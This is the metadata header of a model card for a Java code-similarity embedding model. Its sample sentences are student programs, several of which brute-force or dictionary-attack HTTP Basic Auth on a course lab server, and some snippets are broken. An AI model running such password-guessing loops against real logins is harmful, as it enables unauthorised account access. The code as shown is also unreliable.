\ {\n \t\n Socket csoc=new Socket(mailServerURL,25);\n\
\ BufferedReader in=new BufferedReader(\n \
\ new InputStreamReader(csoc.getInputStream()));\n \n\
\ PrintWriter out=new PrintWriter(csoc.getOutputStream(),true);\n\
\ System.out.println(\"HELO \"+host);\n System.out.println(in.readLine());\n\
\ out.println(\"MAIL FROM:\"+from);\n System.out.println(in.readLine());\n\
\ System.out.println(in.readLine());\n System.out.println(\"\
DATA\");\n System.out.println(in.readLine());\n \
\ System.out.println(\"SUBJECT:\"+subject);\n System.out.println(in.readLine());\n\
\ \n \n while ((s = stdInput.readLine())\
\ != null){\n System.out.println(s);\n }\n\
\ out.println(\".\");\n System.out.println(in.readLine());\n\
\ System.out.println(\"QUIT\");\n System.out.println(in.readLine());\
\ \n }\n catch(Exception e)\n \
\ {\n e.printStackTrace();\n System.out.println(\"\
Some error occoured while communicating server\");\n }\n \
\ } \n }\n catch (IOException e) \n {\n \
\ System.out.println(\"exception happened - here's what I know: \");\n\
\ e.printStackTrace();\n System.exit(-1);\n }\n\
\ } \n }\n}"
- source_sentence: "\n\nimport java.io.*;\nimport java.*;\nimport java.net.*;\nimport\
\ java.util.*;\n\npublic class Dictionary {\n public static void main (String[]\
\ args) throws IOException {\n BufferedReader stdin = new BufferedReader (new\
\ InputStreamReader(System.in));\n\n d = new Date().getTime();\n \
\ FileReader fr = new FileReader(\"/usr/share/lib/dict/words\");\n BufferedReader\
\ bufr = new BufferedReader(fr);\n String word = bufr.readLine(); \
\ \n int total = 960;\n String[] pws = new String[total];\n\
\ int count = 0;\n while (word!=null){\n if (word.length()<=3)\
\ { pws[count] = word; count++;}\n\tword = bufr.readLine();\n }\n \
\ \n int i=0;\n int response = 0;\n for (i=0;i<count;i++){\n\
\ String uname = \"\";\n String userinfo = uname + \":\" + pws[i];\n\
\ try{\n String encoding = new bf.misc.BASE64Encoder().encode (userinfo.getBytes());\n\
\ URL url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n \
\ HttpURLConnection uc = (HttpURLConnection)url.openConnection();\n \
\ uc.setRequestProperty (\"Authorization\", \" \" + encoding);\n response\
\ = uc.getResponseCode();\n\t if (response == 200) break;\n\t else uc.disconnect();\n\
\ }\n catch(IOException e){ System.err.println(e); e.printStackTrace();\
\ } \n catch(IllegalStateException s){ System.err.println(s); s.printStackTrace();\
\ }\n }\n System.out.println(\"Response \"+i+\" was \"+response);\n\
\ System.out.println(\"The successful password was \"+pws[i]);\n \
\ finish = new Date().getTime();\n float totaltime = (float)(finish-d)/1000;\n\
\ System.out.println(\"Time taken: \"+totaltime+ \" seconds.\");\n \
\ \n }\n}\n\n"
sentences:
- "\nimport java.net.*;\nimport java.io.*;\nimport java.util.*;\n\n\npublic class\
\ Dictionary {\n\n public static void main(String args[])\n {\n int i,j,k;\n\
\ String pass = new String();\n String UserPass = new String();\n String status\
\ = new String();\n String status1 = new String();\n BasicAuth auth = new BasicAuth();\n\
\ URLConnection connect;\n int start,end,diff;\n try {\n URL\
\ url = new URL (\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n\n\n\n \
\ start =System.currentTimeMillis();\n\n BufferedReader dis =\
\ new BufferedReader(new FileReader(\"words\"));\n\n\n while ((pass =\
\ dis.readLine()) != null)\n {\n\n\n UserPass= auth.encode(\"\
\",pass);\n\n connect = url.openConnection();\n connect.setDoInput(true);\n\
\ connect.setDoOutput(true);\n\n connect.setRequestProperty(\"\
Host\",\"sec-crack.cs.rmit.edu.\");\n connect.setRequestProperty(\"\
Get\",\"/SEC/2/ HTTP/1.1\");\n connect.setRequestProperty(\"Authorization\"\
,\" \" + UserPass);\n connect.connect();\n status =connect.getHeaderField(0);\n\
\ status1 = status.substring( 9,12);\n if (status.equalsIgnoreCase(\"\
HTTP/1.1 200 OK\"))\n {\n System.out.println(\"Password\
\ is \" + pass);\n end=System.currentTimeMillis();\n \
\ diff = end - start;\n System.out.println(\"Time Taken = \" + (diff/1000)\
\ + \" secs\");\n System.exit(0);\n }\n \
\ ((HttpURLConnection)connect).disconnect();\n connect = null;\n\
\ }\n\n System.out.println(\" match found\");\n\n \
\ dis.close();\n dis=null;\n\n connect = null;\n\n\
\ }\n\n catch (MalformedURLException malerr)\n {\n System.err.println(\"\
Unable Open URL\" + malerr);\n }\n\n catch (Exception ioerr)\n {\n System.err.println(\"\
Unable open file\" + ioerr);\n }\n\n\n\n\n }\n}"
- "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary\
\ {\n\n URLConnection conn = null;\n private static boolean status = false;\n\
\n public static void main (String args[]){\n Dictionary a = new Dictionary();\n\
\ String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\",\n \
\ \t\t\t\t \"\",\n \t\t\t\t \"\"};\n File file = new File(\"words\");\n\
\ exit:\n try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\
\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null)\
\ {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n\
\ \t\t \tif (status) {\n\t\t\t \t\t System.out.println(\"Crrect password is:\
\ \" + inp[2]);\n\t\t\t \t\t System.out.println(\"Number of attempts = \" + attempt);\n\
\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n\
\ \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println(\"\
File not found: \" + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\
\t}\n\n }\n\n public void doit(String args[]) {\n \n try {\n \
\ BufferedReader in = new BufferedReader(\n new InputStreamReader\n\
\ (connectURL(new URL(args[0]), args[1], args[2])));\n String\
\ line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n\
\ status = true;\n }\n }\n catch (IOException e)\
\ {\n \n }\n }\n\n public InputStream connectURL (URL url, String\
\ uname, String pword)\n throws IOException {\n conn = url.openConnection();\n\
\ conn.setRequestProperty (\"Authorization\",\n userNamePasswordBase64(uname,pword));\n\
\ conn.connect ();\n return conn.getInputStream();\n }\n\n public\
\ String userNamePasswordBase64(String username, String password) {\n return\
\ \" \" + base64Encode (username + \":\" + password);\n }\n\n private final\
\ static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n\
\ 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U',\
\ 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g',\
\ 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u',\
\ 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6',\
\ '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String\
\ string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes\
\ ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n \
\ byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i\
\ >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\
\ }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length)\
\ {\n b3 = 0;\n pad = 1;\n }\n else\n\
\ b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n\
\ byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2\
\ & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\
\ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\
\ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \
\ encodedString += base64Array [c4];\n break;\n case 1:\n\
\ encodedString += base64Array [c3];\n encodedString += \"=\"\
;\n break;\n case 2:\n encodedString += \"==\";\n \
\ break;\n }\n }\n return encodedString;\n }\n }\n\n"
- "\n\nimport java.io.*;\nimport java.*;\nimport java.net.*;\nimport java.util.*;\n\
\npublic class BruteForce {\n public static void main (String[] args) throws IOException\
\ {\n BufferedReader stdin = new BufferedReader (new InputStreamReader(System.in));\n\
\n int start = new Date().getTime();\n String[] letters = {\"a\",\"\
A\",\"b\",\"B\",\"c\",\"C\",\"d\",\"D\",\"e\",\"E\",\"f\",\"F\",\"g\",\"G\",\n\
\ \"h\",\"H\",\"i\",\"I\",\"j\",\"J\",\"k\",\"K\",\"\
l\",\"L\",\"m\",\"M\",\"n\",\"N\",\n\t\t\t \"o\",\"O\",\"p\",\"P\",\"q\",\"Q\"\
,\"r\",\"R\",\"s\",\"S\",\"t\",\"T\",\"u\",\"U\",\n\t\t\t \"v\",\"V\",\"w\",\"\
W\",\"x\",\"X\",\"y\",\"Y\",\"z\",\"Z\"};\n int len = 52;\n int total\
\ = 52;\n String[] cad = new String[total];\n int t=0;\n \n \
\ for (int i=0;i<=len-1;i++){\n\t cad[t] = letters[i];\n\t t++;\n } \n\
\ for (int i=0;i<=len-1;i++){\n for (int j=0;j<=len-1;j++){\n\t \
\ cad[t] = letters[j]+letters[i];\n\t t++;\n }}\n for (int i=0;i<=len-1;i++){\n\
\ for (int j=0;j<=len-1;j++){\n for (int k=0;k<=len-1;k++){\n\t \
\ cad[t] = letters[k]+letters[j]+letters[i];\n\t t++;\n }}}\n \
\ \n int response = 0;\n for (t=0;t<=total-1;t++){\n String\
\ uname = \"\";\n String userinfo = uname + \":\" + cad[t];\n try{\n\
\ String encoding = new url.misc.BASE64Encoder().encode (userinfo.getBytes());\n\
\ URL url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n \
\ HttpURLConnection uc = (HttpURLConnection)url.openConnection();\n \
\ uc.setRequestProperty (\"Authorization\", \" \" + encoding);\n response\
\ = uc.getResponseCode();\n\t if (response == 200) break;\n\t else uc.disconnect();\n\
\ }\n catch(IOException e){ System.err.println(e); e.printStackTrace();\
\ } \n catch(IllegalStateException s){ System.err.println(s); s.printStackTrace();\
\ }\n }\n System.out.println(\"Response \"+t+\" was \"+response);\n\
\ System.out.println(\"The successful password was \"+cad[t]);\n \
\ finish = new Date().getTime();\n float totaltime = (float)(finish-start)/1000;\n\
\ System.out.println(\"Total time: \"+totaltime+\" seconds\");\n }\n}\n\
\n"
- source_sentence: "import java.net.*;\nimport java.io.*;\n\npublic class BruteForce\
\ {\n private String strUserName;\n private String strURL;\n private int iAttempts;\n\
\ \n public BruteForce(String strURL,String strUserName) {\n this.strURL\
\ = strURL;\n this.strUserName = strUserName;\n this.iAttempts = 0 ;\n\n\
\ }\n \n public String getPassword(){\n URL u;\n String result =\"\
\";\n PassGenBrute PG = new PassGenBrute(3);\n URLConnection uc;\n \
\ String strPassword = new String();\n String strEncode;\n try{\n\
\ while (result.compareTo(\"HTTP/1.1 200 OK\")!=0){\n \n \
\ strEncode = PG.getNewPassword();\n u = new URL(strURL);\n \
\ uc = u.openConnection();\n uc.setDoInput(true);\n uc.setDoOutput(true);\n\
\ strPassword = strEncode;\n strEncode = strUserName + \":\"\
\ + strEncode;\n \n strEncode = new String(Base64.encode(strEncode.getBytes()));\n\
\ uc.setRequestProperty(\"Authorization\",\" \" + strEncode);\n \
\ \n result = uc.getHeaderField(0);\n uc = null;\n \
\ u = null;\n iAttempts++;\n }\n\n }\n catch (Exception\
\ me) {\n System.out.println(\"MalformedURLException: \"+me);\n }\n\
\ return(strPassword);\n }\n \n public int getAttempts(){\n return\
\ (iAttempts);\n };\n \n public static void main (String arg[]){\n timeStart\
\ = 0;\n timeEnd = 0;\n \n if (arg.length == 2) {\n BruteForce\
\ BF = new BruteForce(arg[0],arg[1]);\n System.out.println(\"Processing\
\ ... \");\n timeStart = System.currentTimeMillis();\n \n System.out.println(\"\
Password = \" + BF.getPassword());\n timeEnd = System.currentTimeMillis();\n\
\ System.out.println(\"Total Time Taken = \" + (timeEnd - timeStart) + \"\
\ (msec)\");\n System.out.println(\"Total Attempts = \" + BF.getAttempts());\n\
\ }\n else {\n System.out.println(\"[Usage] java BruteForce <URL>\
\ <USERNAME>\");\n\n }\n\n }\n}\n\nclass PassGenBrute {\n private char[]\
\ password;\n public PassGenBrute(int lenght) {\n password = new char[lenght];\n\
\ for (int i = 0; i < lenght; i++){\n password[i] = 65;\n }\n password[0]--;\n\
\ }\n \n public String getNewPassword()\n throws PasswordFailureException{\n\
\ password[0]++;\n\n try {\n for (int i=0; i<password.length ; i++){\n\
\ if (password[i] == 90) {\n password[i] = 97;\n }\n \
\ if (password[i] > 122) {\n password[i] = 65;\n password[i+1]++;\n\
\ }\n }\n }\n catch (RuntimeException re){\n throw new\
\ PasswordFailureException ();\n }\n return new String(password);\n }\n\
}\n\nclass PasswordFailureException extends RuntimeException {\n\n public PasswordFailureException()\
\ {\n }\n}"
sentences:
- "import java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary {\n private\
\ String strUserName;\n private String strURL;\n private String strDictPath;\n\
\ private int iAttempts;\n\n \n public Dictionary(String strURL,String\
\ strUserName,String strDictPath) {\n this.strURL = strURL;\n this.strUserName\
\ = strUserName;\n this.iAttempts = 0 ;\n this.strDictPath = strDictPath;\n\
\ }\n \n\n public String getPassword(){\n URL u;\n String result\
\ =\"\";\n PassGenDict PG = new PassGenDict(3,strDictPath);\n URLConnection\
\ uc;\n String strPassword = new String();\n String strEncode;\n \
\ try{\n while (result.compareTo(\"HTTP/1.1 200 OK\")!=0){\n \n\
\ strEncode = PG.getNewPassword();\n u = new URL(strURL);\n\
\ uc = u.openConnection();\n uc.setDoInput(true);\n \
\ uc.setDoOutput(true);\n strPassword = strEncode;\n strEncode\
\ = strUserName + \":\" + strEncode;\n \n strEncode = new String(Base64.encode(strEncode.getBytes()));\n\
\ uc.setRequestProperty(\"Authorization\",\" \" + strEncode);\n \
\ \n result = uc.getHeaderField(0);\n uc = null;\n \
\ u = null;\n iAttempts++;\n }\n\n }\n catch (Exception\
\ me) {\n System.out.println(\"MalformedURLException: \"+me);\n }\n\
\ return(strPassword);\n }\n \n public int getAttempts(){\n return\
\ (iAttempts);\n };\n \n public static void main(String arg[]){\n timeStart\
\ = 0;\n timeEnd = 0;\n \n if (arg.length == 3) {\n Dictionary BF\
\ = new Dictionary(arg[0],arg[1],arg[2]);\n\n System.out.println(\"Processing\
\ ... \");\n timeStart = System.currentTimeMillis();\n System.out.println(\"\
Password = \" + BF.getPassword());\n timeEnd = System.currentTimeMillis();\n\
\ System.out.println(\"Total Time Taken = \" + (timeEnd - timeStart) + \" (msec)\"\
);\n System.out.println(\"Total Attempts = \" + BF.getAttempts());\n }\n\
\ else {\n System.out.println(\"[Usage] java BruteForce <URL> <USERNAME>\
\ <Dictionary path>\");\n\n }\n\n }\n}\n\n\nclass PassGenDict {\n\n private\
\ char[] password;\n private String line;\n int iPassLenght;\n private BufferedReader\
\ inputFile;\n public PassGenDict(int lenght, String strDictPath) {\n try{\n\
\ inputFile = new BufferedReader(new FileReader(strDictPath));\n }\n \
\ catch (Exception e){\n }\n iPassLenght = lenght;\n }\n \n public\
\ String getNewPassword()\n throws PasswordFailureException{\n try {\n \
\ {\n line = inputFile.readLine();\n }while (line.length() !=\
\ iPassLenght);\n\n }\n catch (Exception e){\n throw new PasswordFailureException\
\ ();\n }\n return (line);\n }\n}\n\nclass PasswordFailureException extends\
\ RuntimeException {\n\n public PasswordFailureException() {\n }\n}"
- "\n\n\n\n\nimport java.io.IOException;\nimport java.net.*;\n\nimport java.io.*;\n\
import java.util.*;\n\n\n\npublic class Dictionary\n\n{\n\n\n static URL url\
\ = null;\n static URLConnection urlConnection;\n static InputStream urlStream;\n\
\n static String strOneLetterWords[];\n static String strTwoLetterWords[];\n\
\ static String strThreeLetterWords[];\n\n static String strExceptionPassword[];\n\
\n static String strLastPasswordTested;\n static String username = \"\";\n\
\n static int intNumberOfOneLetterWords = 0;\n static int intNumberOfTwoLetterWords\
\ = 0;\n static int intNumberOfThreeLetterWords = 0;\n\n static int intExceptionCount\
\ = -1;\n\n static int intNumberOfConnectionAttempts = 0;\n static int intTotalNumberOfWordsInFile\
\ = 0;\n\n\n\n\n public static void main (String args[])\n \n {\n\n\n \
\ \n \n Calendar calStart;\n Calendar calFinish; \n\
\ Date dateStart;\n Date dateFinish;\n lngStart;\n lngFinish;\n\
\n\n\n String strLine;\n String strTextFileName = \"/usr/share/lib/dict/words\"\
;\n\n boolean boolPasswordFound = false;\n boolean boolExceptionPasswordsTestedAgain\
\ = false;\n\n\n\n\n String urlString\n = \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
;\n\n int intCounter1;\n int intCounter2;\n int intCounter3;\n\n\
\ int intTotalNumberOfWordsChecked = 0;\n\n\n\n \n \n \
\ calStart = new GregorianCalendar();\n dateStart = calStart.getTime();\n\
\ lngStart = dateStart.getTime(); \n\n\n\n \n \n\
\ \n \n \n strExceptionPassword = new String[5000];\n\
\n\n \n \n getNumberOfVariousLengthsOfWords(strTextFileName);\n\
\n\n \n \n strOneLetterWords = new String[intNumberOfOneLetterWords];\n\
\ strTwoLetterWords = new String[intNumberOfTwoLetterWords];\n strThreeLetterWords\
\ = new String[intNumberOfThreeLetterWords];\n\n\n \n \n \
\ populateTheDifferentLengthArrays(strTextFileName);\n\n\n\n\n if (!boolPasswordFound)\
\ \n {\n\n\n \n \n\n intCounter1 = 0;\n\n \
\ while ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords)\
\ )\n {\n\n boolPasswordFound = true;\n\n boolPasswordFound\
\ = passwordWasFound(urlString,\n \
\ strOneLetterWords[intCounter1],\n \
\ boolPasswordFound);\n\n intCounter1++;\n\n intTotalNumberOfWordsChecked++;\n\
\n }\n\n\n\n \n \n\n intCounter1 = 0;\n\n\
\ while ( (!boolPasswordFound) && (intCounter1 < intNumberOfTwoLetterWords)\
\ )\n {\n\n boolPasswordFound = true;\n\n boolPasswordFound\
\ = passwordWasFound(urlString,\n \
\ strTwoLetterWords[intCounter1],\n \
\ boolPasswordFound);\n\n intCounter1++;\n\n intTotalNumberOfWordsChecked++;\n\
\n }\n\n\n\n \n \n\n intCounter1 = 0;\n\n\
\ while ( (!boolPasswordFound) && (intCounter1 < intNumberOfThreeLetterWords)\
\ )\n {\n\n boolPasswordFound = true;\n\n boolPasswordFound\
\ = passwordWasFound(urlString,\n \
\ strThreeLetterWords[intCounter1],\n \
\ boolPasswordFound);\n\n intCounter1++;\n\n \
\ intTotalNumberOfWordsChecked++;\n\n }\n\n\n\n \n \
\ \n \n\n intCounter1 = 0;\n\n while ( (!boolPasswordFound)\
\ && (intCounter1 < intNumberOfOneLetterWords) )\n {\n\n intCounter2\
\ = 0; \n\n while ( (!boolPasswordFound) && (intCounter2 < intNumberOfOneLetterWords)\
\ )\n {\n\n boolPasswordFound = true;\n\n \
\ boolPasswordFound \n = passwordWasFound(urlString,\n \
\ strOneLetterWords[intCounter1] + \n \
\ strOneLetterWords[intCounter2],\n \
\ boolPasswordFound); \n\n intCounter2++;\n\
\n intTotalNumberOfWordsChecked++;\n\n }\n\n\n \
\ intCounter1++;\n\n }\n\n\n\n \n \n \
\ \n \n \n\n intCounter1 = 0;\n\n while\
\ ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords) )\n \
\ {\n\n intCounter2 = 0; \n\n while ( (!boolPasswordFound)\
\ && (intCounter2 < intNumberOfOneLetterWords) )\n {\n\n \
\ intCounter3 = 0; \n\n while ( (!boolPasswordFound) && (intCounter3\
\ < intNumberOfOneLetterWords) )\n {\n\n boolPasswordFound\
\ = true;\n\n boolPasswordFound \n = passwordWasFound(urlString,\n\
\ strOneLetterWords[intCounter1] \
\ + \n strOneLetterWords[intCounter2]\
\ +\n strOneLetterWords[intCounter3],\n\
\ boolPasswordFound); \n\n \
\ intCounter3++;\n\n intTotalNumberOfWordsChecked++;\n\
\n }\n\n\n intCounter2++;\n\n }\n\n\n \
\ intCounter1++;\n\n }\n\n\n\n \n \n \
\ \n\n intCounter1 = 0;\n\n while ( (!boolPasswordFound)\
\ && (intCounter1 < intNumberOfOneLetterWords) )\n {\n\n intCounter2\
\ = 0; \n\n while ( (!boolPasswordFound) && (intCounter2 < intNumberOfTwoLetterWords)\
\ )\n {\n\n boolPasswordFound = true;\n\n \
\ boolPasswordFound \n = passwordWasFound(urlString,\n \
\ strOneLetterWords[intCounter1] + \n \
\ strTwoLetterWords[intCounter2],\n \
\ boolPasswordFound); \n\n intCounter2++;\n\
\n intTotalNumberOfWordsChecked++;\n\n }\n\n\n \
\ intCounter1++;\n\n }\n\n\n\n \n \n \
\ \n\n intCounter1 = 0;\n\n while ( (!boolPasswordFound)\
\ && (intCounter1 < intNumberOfTwoLetterWords) )\n {\n\n intCounter2\
\ = 0; \n\n while ( (!boolPasswordFound) && (intCounter2 < intNumberOfOneLetterWords)\
\ )\n {\n\n boolPasswordFound = true;\n\n \
\ boolPasswordFound \n = passwordWasFound(urlString,\n \
\ strTwoLetterWords[intCounter1] + \n \
\ strOneLetterWords[intCounter2],\n \
\ boolPasswordFound); \n\n intCounter2++;\n\
\n intTotalNumberOfWordsChecked++;\n\n }\n\n\n \
\ intCounter1++;\n\n }\n\n\n\n \n \n \
\ \n \n \n\n intCounter1 = 0;\n\n while\
\ ( (!boolPasswordFound) && (intCounter1 <= intExceptionCount) )\n {\n\
\n boolExceptionPasswordsTestedAgain = true;\n boolPasswordFound\
\ = true;\n\n boolPasswordFound \n = passwordWasFound(urlString,\n\
\ strExceptionPassword[intCounter1],\n \
\ boolPasswordFound); \n\n intCounter1++;\n\
\n intTotalNumberOfWordsChecked++;\n\n }\n\n } \n\n\n\
\n \n \n calFinish = new GregorianCalendar();\n dateFinish\
\ = calFinish.getTime();\n lngFinish = dateFinish.getTime(); \n\n\n\
\ \n \n System.out.println();\n System.out.println();\n\
\n\n System.out.println();\n System.out.println(\"Length of time for\
\ processing: \" + \n ((lngFinish - lngStart) / 1000)\
\ + \n \" seconds\");\n\n\n System.out.println();\n\
\ System.out.println(\"Total number of words in dictionary file = \" + intTotalNumberOfWordsInFile);\n\
\n\n System.out.println();\n System.out.println(\"Input file: number\
\ of words with one letter length = \" + intNumberOfOneLetterWords);\n \
\ System.out.println(\"Input file: number of words with two letter length =\
\ \" + intNumberOfTwoLetterWords);\n System.out.println(\"Input file: number\
\ of words with three letter length = \" + intNumberOfThreeLetterWords);\n\n\n\
\ System.out.println();\n System.out.println(\"Number of connection\
\ attempts = \" + intTotalNumberOfWordsChecked);\n\n\n System.out.println();\n\
\ System.out.println(\"Number of exceptions thrown = \" + (intExceptionCount\
\ + 1));\n System.out.println();\n\n\n if (intExceptionCount >= 0)\n\
\ {\n System.out.print(\"These passwords WERE \");\n\n if\
\ (boolExceptionPasswordsTestedAgain)\n System.out.print(\"tested again.\"\
);\n else\n System.out.print(\"NOT tested again.\");\n\n \
\ System.out.println();\n }\n\n\n if (boolPasswordFound) \n \
\ {\n System.out.println(\"The correct password WAS found - this password\
\ is '\" + \n strLastPasswordTested + \"'.\");\n \
\ } \n else\n {\n System.out.println(\"The correct password\
\ WAS NOT found.\");\n } \n \n System.out.println();\n\n\
\ }\n\n\n\n\n\n\n\n static void getNumberOfVariousLengthsOfWords(String TextFileName)\n\
\ \n {\n\n FileReader reader;\n BufferedReader inTextFile = null;\n\
\n String strLine;\n int intWordLength;\n\n\n\n try\n { \
\ \n \n \n \n \n \n reader\
\ = new FileReader(TextFileName);\n\n \n \n \n\
\ \n inTextFile = new BufferedReader(reader);\n\n\n \
\ strLine = inTextFile.readLine();\n\n\n while (strLine != null)\n \
\ {\n\n intTotalNumberOfWordsInFile++;\n\n strLine\
\ = strLine.trim();\n\n intWordLength = strLine.length();\n\n\n \
\ \n \n if (intWordLength == 1)\n \
\ intNumberOfOneLetterWords++;\n\n \n \n \
\ else if (intWordLength == 2) \n intNumberOfTwoLetterWords++;\n\
\n \n \n else if (intWordLength == 3)\n\
\ intNumberOfThreeLetterWords++;\n\n\n strLine = inTextFile.readLine();\n\
\n }\n\n }\n\n catch(FileNotFoundException e)\n {\n\n \
\ \n \n System.out.println();\n System.out.println(\"\
The file '\" + TextFileName + \"' cannot found.\");\n System.out.println();\n\
\n }\n\n catch(Exception e)\n {\n\n }\n\n finally\n \
\ {\n\n try\n {\n inTextFile.print();\n \
\ }\n catch(Exception e)\n {\n }\n\n inTextFile\
\ = null;\n reader = null;\n\n }\n\n } \n\n\n\n\n\n\n static\
\ void populateTheDifferentLengthArrays(String TextFileName)\n \n {\n\n \
\ FileReader reader;\n BufferedReader inTextFile = null;\n\n String\
\ strLine;\n int intWordLength;\n\n int intCountOfOneLetterWords =\
\ -1;\n int intCountOfTwoLetterWords = -1;\n int intCountOfThreeLetterWords\
\ = -1;\n\n\n\n try\n { \n \n \n \n \
\ \n \n reader = new FileReader(TextFileName);\n\n \
\ \n \n \n \n inTextFile = new\
\ BufferedReader(reader);\n\n\n strLine = inTextFile.readLine();\n\n\n\
\ while (strLine != null)\n {\n\n strLine = strLine.trim();\n\
\ intWordLength = strLine.length();\n\n\n \n \
\ \n if (intWordLength == 1)\n {\n intCountOfOneLetterWords++;\n\
\ strOneLetterWords[intCountOfOneLetterWords] = strLine;\n \
\ }\n\n \n \n else if (intWordLength\
\ == 2) \n {\n\n intCountOfTwoLetterWords++;\n \
\ strTwoLetterWords[intCountOfTwoLetterWords] = strLine;\n \
\ }\n\n \n \n else if (intWordLength ==\
\ 3)\n {\n intCountOfThreeLetterWords++;\n \
\ strThreeLetterWords[intCountOfThreeLetterWords] = strLine;\n \
\ }\n\n strLine = inTextFile.readLine();\n\n }\n\n }\n\
\n catch(FileNotFoundException e)\n {\n\n \n \n\
\ System.out.println();\n System.out.println(\"The file '\" +\
\ TextFileName + \"' cannot found.\");\n System.out.println();\n\n \
\ }\n\n catch(Exception e)\n {\n System.out.println(\"Exception\
\ thrown....\");\n System.err.println(e);\n }\n\n finally\n\
\ {\n\n try\n {\n inTextFile.print();\n \
\ }\n catch(Exception e)\n {\n }\n\n inTextFile\
\ = null;\n reader = null;\n\n }\n\n }\n\n\n\n\n\n\n\n static\
\ boolean passwordWasFound(String urlString,\n \
\ String password,\n boolean retVal)\n \
\ \n {\n\n String strEncodeInput = username + \":\" + password;\n \
\ boolean returnValue = retVal;\n boolean boolExceptionThrown = false;\n\n\
\n\n try\n {\n\n strLastPasswordTested = password;\n \n \
\ intNumberOfConnectionAttempts++;\n\n url = new URL(urlString);\n\
\n String encoding = new url.misc.BASE64Encoder().encode (strEncodeInput.getBytes());\n\
\n\n System.out.print(\"username = \" + \n username\
\ + \n \" \" +\n \
\ \"password = \" +\n password);\n\n\n\n HttpURLConnection\
\ urlConnection = (HttpURLConnection)url.openConnection();\n\n urlConnection.setRequestProperty(\"\
Authorization\", \n \" \" + encoding);\
\ \n\n System.out.println(\" response = \" + urlConnection.getResponseCode());\n\
\n if (urlConnection.getResponseCode() == 401)\n {\n \
\ returnValue = false; \n }\n\n }\n\n catch (MalformedURLException\
\ m)\n {\n boolExceptionThrown = true;\n returnValue = false;\n\
\n System.err.println(m);\n System.out.println(\"Malformed URL\
\ Exception error\");\n }\n\n catch (IOException io)\n {\n \
\ boolExceptionThrown = true;\n returnValue = false;\n\n System.out.println(\"\
IOException error\");\n System.err.println(io); \n }\n\n catch\
\ (Exception e)\n {\n boolExceptionThrown = true;\n returnValue\
\ = false;\n\n System.out.println(\"General exception.....\");\n \
\ System.err.println(e); \n }\n\n finally\n { \n urlConnection\
\ = null;\n url = null; \n }\n\n\n if (boolExceptionThrown)\n\
\ {\n intExceptionCount++;\n strExceptionPassword[intExceptionCount]\
\ = password;\n }\n\n\n return returnValue;\n\n }\n\n}"
- "import java.util.*;\nimport java.io.*;\nimport javax.swing.text.html.*;\n\n\n\
public class WatchDog {\n\n public WatchDog() {\n\n }\n public static void\
\ main (String args[]) {\n DataInputStream newin;\n\n try{\n System.out.println(\"\
ishti\");\n\n System.out.println(\"Downloading first copy\");\n Runtime.getRuntime().exec(\"\
wget http://www.cs.rmit.edu./students/ -O oldfile.html\");\n String[] cmdDiff\
\ = {\"//sh\", \"-c\", \"diff oldfile.html newfile.html > Diff.txt\"};\n \
\ String[] cmdMail = {\"//sh\", \"-c\", \"mailx -s \\\"Diffrence\\\" \\\"@cs.rmit.edu.\\\
\" < Diff.txt\"};\n while(true){\n Thread.sleep(24*60*60*1000);\n\
\ System.out.println(\"Downloading new copy\");\n Runtime.getRuntime().exec(\"\
wget http://www.cs.rmit.edu./students/ -O newfile.html\");\n Thread.sleep(2000);\n\
\ Runtime.getRuntime().exec(cmdDiff);\n Thread.sleep(2000);\n\
\ newin = new DataInputStream( new FileInputStream( \"Diff.txt\"));\n\
\ if (newin.readLine() != null){\n System.out.println(\"\
Sending Mail\");\n Runtime.getRuntime().exec(cmdMail);\n \
\ Runtime.getRuntime().exec(\"cp newfile.html oldfile.html\");\n\n \
\ }\n }\n\n }\n catch(Exception e){\n e.printStackTrace();\n\
\ }\n\n }\n\n}"
datasets:
- buelfhood/SOCO_TRAIN_java
pipeline_tag: sentence-similarity
library_name: sentence-transformers
---
# SentenceTransformer based on microsoft/unixcoder-base-unimodal
This is a [sentence-transformers](https://www.SBERT.net) model finetuned from [microsoft/unixcoder-base-unimodal](https://huggingface.co/microsoft/unixcoder-base-unimodal) on the [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.
## Model Details
### Model Description
- **Model Type:** Sentence Transformer
